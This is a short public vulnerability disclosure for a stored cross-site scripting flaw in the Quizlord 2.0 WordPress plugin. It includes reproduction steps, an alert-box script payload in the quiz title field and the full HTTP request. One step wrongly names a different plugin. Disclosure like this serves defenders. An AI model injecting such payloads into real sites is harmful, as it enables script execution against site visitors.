WordPress Plugin Quizlord 2.0 - Cross-Site Scripting

# Exploit Title: WordPress Plugin Quizlord 2.0 - Cross-Site Scripting
# Date: 2018-08-29
# Exploit Author: Renos Nikolaou
# Software Link: https://downloads.wordpress.org/plugin/quizlord.zip
# Version: 2.0
# Tested on: Kali Linux
# CVE: N/A
# Description : Quizlord is prone to Stored Cross Site Scripting vulnerabilities 
# because it fails to properly sanitize user-supplied input.

# PoC - Stored XSS - Parameter: title
# 1) Login as a user who have access to Jibu Pro plugin.
# 2) Quizlord --> Add a Quiz.
# 3) At the title type: poc"><script>alert(1)</script>  , then fill the remaining fields and click Save. 
#   (The first pop-up will appear. Also keep note of the shortcode: [quizlord id="#"])
# 4) Copy the Shortcode [quizlord id="#"] into any post or page and visit the it via browser.

# Post Request (Step 3):

POST /wordpress/wp-admin/admin.php HTTP/1.1
Host: domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://domain.com/wordpress/wp-admin/admin.php?page=quizlord
Cookie: wordpress_295cdc576d46a74a4105db5d33654g45
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 188

action=ql_insert&title=poc"><script>alert(1)</script>&description=&time=0&numbtype=numerical&numbmark=&rightcolor=00FF00&wrongcolor=FF0000&showtype=paginated&addquiz=Save